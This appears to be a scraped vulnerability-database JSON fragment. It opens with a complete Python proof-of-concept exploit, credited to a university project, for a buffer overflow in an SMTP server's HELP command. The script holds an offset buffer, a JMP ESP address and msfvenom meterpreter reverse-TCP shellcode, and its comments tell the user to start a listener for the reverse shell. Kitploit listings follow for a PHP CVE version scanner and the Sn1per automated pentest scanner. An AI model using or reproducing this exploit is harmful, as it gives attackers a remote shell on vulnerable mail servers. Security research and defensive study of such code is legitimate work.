Buffer Overflow in \"HELP\" command(SMTP)\r\n# Exploit Author: Vinaykumar Yennam and Dheepshika Raghunathan \r\n# Vendor Homepage: https://www.tabslab.com/\r\n# Version: 2.51\r\n# Software Link: N.A\r\n# Tested on: Windows XP Prof SP3 ENG x86\r\n# CVE: TBC from Mitre\r\n# Created for the ENPM697 Project\r\n# POC\r\n# 1.) Change ip and port in code\r\n# 2.) Run script against target, set up a listener and meterpreter reverse shell will connect to your machine.\r\n\r\nimport socket\r\nimport sys\r\n\r\nhost = \"192.168.241.135\"\r\nport = 25\r\n\r\n\r\n\r\npattern = \"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy\"\r\n\r\njunk1 = \"A\" * 5091\r\n\r\nEIP = \"\\x18\\x35\\xe1\\x4d\" #JMP ESP in msoda15.dll\r\n\r\n\r\n#msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.241.132 LPORT=4444 -e x86/alpha_mixed -b \"\\x00\\xd5\\x0a\\x0d\\x1a\\x03\" -f c\r\nshellcode = (\"\\x89\\xe3\\xd9\\xee\\xd9\\x73\\xf4\\x5a\\x4a\\x4a\\x4a\\x4a\\x4a\\x4a\\x4a\"\r\n\"\\x4a\\x4a\\x4a\\x4a\\x43\\x43\\x43\\x43\\x43\\x43\\x37\\x52\\x59\\x6a\\x41\"\r\n\"\\x58\\x50\\x30\\x41\\x30\\x41\\x6b\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\"\r\n\"\\x42\\x30\\x42\\x42\\x41\\x42\\x58\\x50\\x38\\x41\\x42\\x75\\x4a\\x49\\x6b\"\r\n\"\\x4c\\x59\\x78\\x4b\\x32\\x63\\x30\\x75\\x50\\x45\\x50\\x65\\x30\\x4f\\x79\"\r\n\"\\x4b\\x55\\x34\\x71\\x59\\x50\\x35\\x34\\x4e\\x6b\\x36\\x30\\x54\\x70\\x6c\"\r\n\"\\x4b\\x61\\x42\\x36\\x6c\\x6e\\x6b\\x33\\x62\\x74\\x54\\x4c\\x4b\\x63\\x42\"\r\n\"\\x55\\x78\\x76\\x6f\\x4d\\x67\\x70\\x4a\\x74\\x66\\x44\\x71\\x39\\x6f\\x6e\"\r\n\"\\x4c\\x47\\x4c\\x63\\x51\\x31\\x6c\\x64\\x42\\x54\\x6c\\x51\\x30\\x7a\\x61\"\r\n\"\\x6a\\x6f\\x74\\x4d\\x56\\x61\\x39\\x57\\x6d\\x32\\x4c\\x32\\x52\\x72\\x70\"\r\n\"\\x57\\x6e\\x6b\\x56\\x32\\x46\\x70\\x4c\\x4b\\x42\\x6a\\x65\\x6c\\x4e\\x6b\"\r\n\"\\x50\\x4c\\x76\\x71\\x73\\x48\\x6a\\x43\\x73\\x78\\x45\\x51\\x68\\x51\\x43\"\r\n\"\\x61\\x4c\\x4b\\x61\\x49\\x51\\x30\\x56\\x61\\x38\\x53\\x6c\\x4b\\x33\\x79\"\r\n\"\\x32\\x38\\x4b\\x53\\x34\\x7a\\x70\\x49\\x6c\\x4b\\x75\\x64\\x6e\\x6b\\x53\"\r\n\"\\x31\\x38\\x56\\x65\\x61\\x4b\\x4f\\x4c\\x6c\\x49\\x51\\x4a\\x6f\\x56\\x6d\"\r\n\"\\x47\\x71\\x5a\\x67\\x46\\x58\\x39\\x70\\x70\\x75\\x39\\x66\\x57\\x73\\x51\"\r\n\"\\x6d\\x6c\\x38\\x45\\x6b\\x51\\x6d\\x45\\x74\\x71\\x65\\x79\\x74\\x66\\x38\"\r\n\"\\x6e\\x6b\\x43\\x68\\x37\\x54\\x75\\x51\\x5a\\x73\\x50\\x66\\x6c\\x4b\\x36\"\r\n\"\\x6c\\x42\\x6b\\x6e\\x6b\\x72\\x78\\x45\\x4c\\x67\\x71\\x59\\x43\\x4e\\x6b\"\r\n\"\\x55\\x54\\x6e\\x6b\\x55\\x51\\x5a\\x70\\x6d\\x59\\x77\\x34\\x31\\x34\\x45\"\r\n\"\\x74\\x73\\x6b\\x33\\x6b\\x61\\x71\\x61\\x49\\x43\\x6a\\x72\\x71\\x59\\x6f\"\r\n\"\\x79\\x70\\x43\\x6f\\x63\\x6f\\x61\\x4a\\x4e\\x6b\\x77\\x62\\x7a\\x4b\\x6c\"\r\n\"\\x4d\\x51\\x4d\\x50\\x68\\x75\\x63\\x56\\x52\\x75\\x50\\x33\\x30\\x43\\x58\"\r\n\"\\x42\\x57\\x52\\x53\\x44\\x72\\x43\\x6f\\x43\\x64\\x30\\x68\\x52\\x6c\\x54\"\r\n\"\\x37\\x66\\x46\\x43\\x37\\x6c\\x49\\x6d\\x38\\x4b\\x4f\\x38\\x50\\x4d\\x68\"\r\n\"\\x6e\\x70\\x76\\x61\\x63\\x30\\x55\\x50\\x71\\x39\\x68\\x44\\x63\\x64\\x52\"\r\n\"\\x70\\x42\\x48\\x46\\x49\\x4d\\x50\\x30\\x6b\\x55\\x50\\x49\\x6f\\x4b\\x65\"\r\n\"\\x52\\x4a\\x56\\x6a\\x63\\x58\\x69\\x50\\x4c\\x68\\x48\\x71\\x4d\\x54\\x33\"\r\n\"\\x58\\x45\\x52\\x33\\x30\\x32\\x31\\x71\\x4c\\x4c\\x49\\x79\\x76\\x52\\x70\"\r\n\"\\x66\\x30\\x56\\x30\\x62\\x70\\x43\\x70\\x72\\x70\\x63\\x70\\x66\\x30\\x70\"\r\n\"\\x68\\x7a\\x4a\\x74\\x4f\\x69\\x4f\\x6d\\x30\\x49\\x6f\\x68\\x55\\x4a\\x37\"\r\n\"\\x30\\x6a\\x72\\x30\\x70\\x56\\x61\\x47\\x45\\x38\\x6a\\x39\\x6e\\x45\\x33\"\r\n\"\\x44\\x33\\x51\\x59\\x6f\\x7a\\x75\\x4d\\x55\\x4b\\x70\\x33\\x44\\x37\\x7a\"\r\n\"\\x49\\x6f\\x72\\x6e\\x45\\x58\\x70\\x75\\x78\\x6c\\x59\\x78\\x53\\x57\\x45\"\r\n\"\\x50\\x63\\x30\\x73\\x30\\x73\\x5a\\x33\\x30\\x30\\x6a\\x76\\x64\\x52\\x76\"\r\n\"\\x73\\x67\\x62\\x48\\x44\\x42\\x4b\\x69\\x68\\x48\\x71\\x4f\\x69\\x6f\\x39\"\r\n\"\\x45\\x6d\\x53\\x4c\\x38\\x53\\x30\\x61\\x6e\\x70\\x36\\x6e\\x6b\\x47\\x46\"\r\n\"\\x63\\x5a\\x67\\x30\\x71\\x78\\x43\\x30\\x36\\x70\\x63\\x30\\x75\\x50\\x56\"\r\n\"\\x36\\x43\\x5a\\x33\\x30\\x30\\x68\\x42\\x78\\x6c\\x64\\x62\\x73\\x6a\\x45\"\r\n\"\\x79\\x6f\\x58\\x55\\x4c\\x53\\x56\\x33\\x43\\x5a\\x67\\x70\\x70\\x56\\x36\"\r\n\"\\x33\\x51\\x47\\x62\\x48\\x65\\x52\\x4e\\x39\\x69\\x58\\x73\\x6f\\x69\\x6f\"\r\n\"\\x79\\x45\\x6c\\x43\\x49\\x68\\x33\\x30\\x51\\x6d\\x34\\x68\\x36\\x38\\x75\"\r\n\"\\x38\\x55\\x50\\x61\\x50\\x43\\x30\\x47\\x70\\x52\\x4a\\x45\\x50\\x66\\x30\"\r\n\"\\x63\\x58\\x64\\x4b\\x54\\x6f\\x34\\x4f\\x34\\x70\\x59\\x6f\\x68\\x55\\x46\"\r\n\"\\x37\\x63\\x58\\x30\\x75\\x32\\x4e\\x30\\x4d\\x65\\x31\\x59\\x6f\\x6e\\x35\"\r\n\"\\x53\\x6e\\x63\\x6e\\x69\\x6f\\x76\\x6c\\x67\\x54\\x74\\x4f\\x6f\\x75\\x72\"\r\n\"\\x50\\x6b\\x4f\\x79\\x6f\\x69\\x6f\\x7a\\x49\\x6d\\x4b\\x6b\\x4f\\x39\\x6f\"\r\n\"\\x49\\x6f\\x65\\x51\\x6f\\x33\\x47\\x59\\x4b\\x76\\x53\\x45\\x6b\\x71\\x4a\"\r\n\"\\x63\\x6f\\x4b\\x6c\\x30\\x6c\\x75\\x69\\x32\\x46\\x36\\x61\\x7a\\x57\\x70\"\r\n\"\\x32\\x73\\x59\\x6f\\x7a\\x75\\x41\\x41\")\r\n\r\nnops = \"\\x90\"*20\r\n\r\n#junk1 depends on the length of path of the executable. Modify 5091 in junk1 accordingly.\r\n#Alternatively, you can use pattern to calculate the offset\r\n#evil_buffer = \"HELP \" + pattern + \"\\r\\n\"\r\n\r\nevil_buffer = \"HELP \" + junk1 + EIP + nops + shellcode + \"\\r\\n\"\r\n\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n\r\ntry:\r\n sock.connect((host,port))\r\n print (\"Sending evil buffer to target machine.\")\r\n sock.send(evil_buffer)\r\n print(\"Evil buffer sent. Check for reverse shell.\")\r\n print(\"Exploit by hashs3v3n!\")\r\n sock.close()\r\n\r\nexcept:\r\n print(\"Error in socket!\")\n\n# 0day.today [2019-05-03] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32648"}], "kitploit": [{"lastseen": "2019-05-22T01:22:03", "bulletinFamily": "tools", "description": "[  ](<https://3.bp.blogspot.com/-bhtqXim-vlU/XNZVo27BruI/AAAAAAAAO4w/wqhBjqL6XlksqzL4vzGsPPETuwmPfvkRwCLcBGAs/s1600/php.png>)\n\n \n\n\nVersionscan is a tool for evaluating your currently installed PHP version and checking it against known CVEs and the versions they were fixed in to report back potential issues. \n\n** PLEASE NOTE: ** Work is still in progress to [ adapt ](<https://www.kitploit.com/search/label/ADAPT> \"adapt\" ) the tool to [ linux ](<https://www.kitploit.com/search/label/Linux> \"linux\" ) distributions that backport security fixes. As of right now, this only reports back for the straight up version reported. \n\n \n** Installation ** \n \n** Using Composer ** \n\n \n \n {\n \"require\": {\n \"psecio/versionscan\": \"dev-master\"\n }\n }\n\nThe only current dependency is the Symfony console. \n \n** Usage ** \nTo run the [ scan ](<https://www.kitploit.com/search/label/Scan> \"scan\" ) against your current PHP version, use: \n` bin/versionscan ` \nThe script will check the ` PHP_VERSION ` for the current instance and generate the pass/fail results. The output looks similar to: \n\n \n \n Executing against version: 5.4.24\n +--------+---------------+------+------------------------------------------------------------------------------------------------------+\n | Status | CVE ID | Risk | Summary |\n +--------+---------------+------+------------------------------------------------------------------------------------------------------+\n | FAIL | CVE-2014-3597 | 6.8 | Multiple buffer overflows in the php_parserr function in ext/standard/dns.c in PHP before 5.4.32 ... |\n | FAIL | CVE-2014-3587 | 4.3 | Integer overflow in the cdf_read_property_info function in cdf.c in file through 5.19, as used in... |\n\nResults will be reported back colorized as well to easily show the pass/fail of the check. \n \n** Parameters ** \nThere are several parameters that can be given to the tool to configure its [ scans ](<https://www.kitploit.com/search/label/Scans> \"scans\" ) and results: \n \n** PHP Version ** \nIf you'd like to define a PHP version to check other than the one the script finds itself, you can use the ` php-version ` parameter: \n\n \n \n bin/versionscan scan --php-version=4.3.2\n\n \n** Report Only Failures ** \nYou can also tell the versionscan to only report back the failures and not the passing tests: \n\n \n \n bin/versionscan scan --fail-only\n\n \n** Sorting results ** \nYou can also sort the results either by the CVE ID or by severity (risk rating), with the ` sort ` parameter and either the \"cve\" or \"risk\" value: \n\n \n \n bin/versionscan scan --sort=risk\n\n \n** Output formats ** \nBy default _ versionscan _ will output information directly to the console in a human-readable result. You can also specify other output formats that may be easier to parse programatically (like JSON). Use the ` --format ` option to change the output: \n\n \n \n vendor/bin/versionscan scan --php-version=5.5 --format=json\n\nSupported output formats are ` console ` , ` json ` , ` xml ` and ` html ` . \nThe HTML output format requires an ` --output ` option of the directory to write the file: \n\n \n \n vendor/bin/versionscan scan --php-version=5.5 --format=html --output=/var/www/output\n\nThe result will be written to a file named something like ` versionscan-output-20150808.html ` \n \n \n\n\n** [ Download Versionscan ](<https://github.com/psecio/versionscan> \"Download Versionscan\" ) **\n", "modified": "2019-05-21T21:17:08", "published": "2019-05-21T21:17:08", "id": "KITPLOIT:3928947731225997712", "href": "http://www.kitploit.com/2019/05/versionscan-php-version-scanner-for.html", "title": "Versionscan - A PHP Version Scanner For Reporting Possible Vulnerabilities", "type": "kitploit", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2019-05-12T18:14:06", "bulletinFamily": "tools", "description": "[  ](<https://1.bp.blogspot.com/-Poffj1hNPBk/XNXfkZuyGfI/AAAAAAAAO0U/k4nQgdLXOoEZMOGlGb3wgnx8HgQzEtacgCLcBGAs/s1600/Sn1per_1_Sn1per.jpeg>)\n\n \n\n\nSn1per Community Edition is an [ automated scanner ](<https://www.kitploit.com/search/label/Automated%20scanner> \"automated scanner\" ) that can be used during a [ penetration test ](<https://www.kitploit.com/search/label/Penetration%20Test> \"penetration test\" ) to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes. For more information regarding Sn1per Professional, go to [ https://xerosecurity.com ](<https://xerosecurity.com/> \"https://xerosecurity.com\" ) . \n\n \n** SN1PER PROFESSIONAL FEATURES: ** \n \n** Professional reporting interface ** \n \n\n\n[  ](<https://2.bp.blogspot.com/-HnwS8O0KEik/XNXfrGJWPeI/AAAAAAAAO0Y/94Hl4CC3M_kytYKkKldzXNviz4ff92TVACLcBGAs/s1600/Sn1per_8.png>)\n\n \n** Slideshow for all gathered screenshots ** \n \n\n\n[  ](<https://2.bp.blogspot.com/-coOpsZX0XMM/XNXfuVNicUI/AAAAAAAAO0c/Wd2EQSAcI4Uti3bkaa1kxqajpStfjTK0ACLcBGAs/s1600/Sn1per_9.png>)\n\n \n** Searchable and sortable DNS, IP and open port database ** \n \n\n\n[  ](<https://4.bp.blogspot.com/-bfzb6vLbCks/XNXfy5vfkTI/AAAAAAAAO0g/9aO7_9YKrqMyWK3PehtfItlm4DZ6KWR4gCLcBGAs/s1600/Sn1per_10.png>)\n\n \n** Detailed host reports ** \n \n\n\n[  ](<https://4.bp.blogspot.com/-JbxR5Z-2O_4/XNXf2YbT_DI/AAAAAAAAO0o/w8Hin6Cbf1Ue4QbVW70T2-r1Rj82wDsSQCLcBGAs/s1600/Sn1per_11.png>)\n\n \n** NMap HTML host reports ** \n \n\n\n[  ](<https://2.bp.blogspot.com/-TYr4tFOy7Y4/XNXf7dXeSII/AAAAAAAAO0w/0YMKst5KHGoygojHG2r6tJxqkg2a-w1YQCLcBGAs/s1600/Sn1per_12.png>)\n\n \n** Quick links to online recon tools and Google hacking queries ** \n \n\n\n[  ](<https://1.bp.blogspot.com/-FNe1YF5mg68/XNXgAPQOAEI/AAAAAAAAO00/5uuuQo2KqRgwpTE11Z-U6p_XGetjCf9vgCLcBGAs/s1600/Sn1per_13.png>)\n\n \n** Takeovers and Email Security ** \n \n\n\n[  ](<https://2.bp.blogspot.com/-FNah2OwM_nU/XNXgEeJZG9I/AAAAAAAAO08/A7lu1554nJ0GpEOj7AtdZ_emSoyq5lBxQCLcBGAs/s1600/Sn1per_14.png>)\n\n \n** HTML5 Notepad ** \n \n\n\n[  ](<https://2.bp.blogspot.com/-DHOnECOz-T0/XNXgH_QX4JI/AAAAAAAAO1E/s0bFVC-Uf_87tBFY2AJwiJyHgKJ8VgKXQCLcBGAs/s1600/Sn1per_15.png>)\n\n \n** ORDER SN1PER PROFESSIONAL: ** \nTo obtain a Sn1per Professional license, go to [ https://xerosecurity.com ](<https://xerosecurity.com/> \"https://xerosecurity.com\" ) . \n \n** DEMO VIDEO: ** \n \n \n\n\n[  ](<https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm>)\n\n \n \n** SN1PER COMMUNITY FEATURES: ** \n\n\n * Automatically collects basic recon (ie. whois, ping, DNS, etc.) \n * Automatically launches Google hacking queries against a target domain \n * Automatically enumerates open ports via NMap port scanning \n * Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers \n * Automatically checks for sub-domain hijacking \n * Automatically runs targeted NMap scripts against open ports \n * Automatically runs targeted Metasploit scan and exploit modules \n * Automatically scans all web applications for common vulnerabilities \n * Automatically brute forces ALL open services 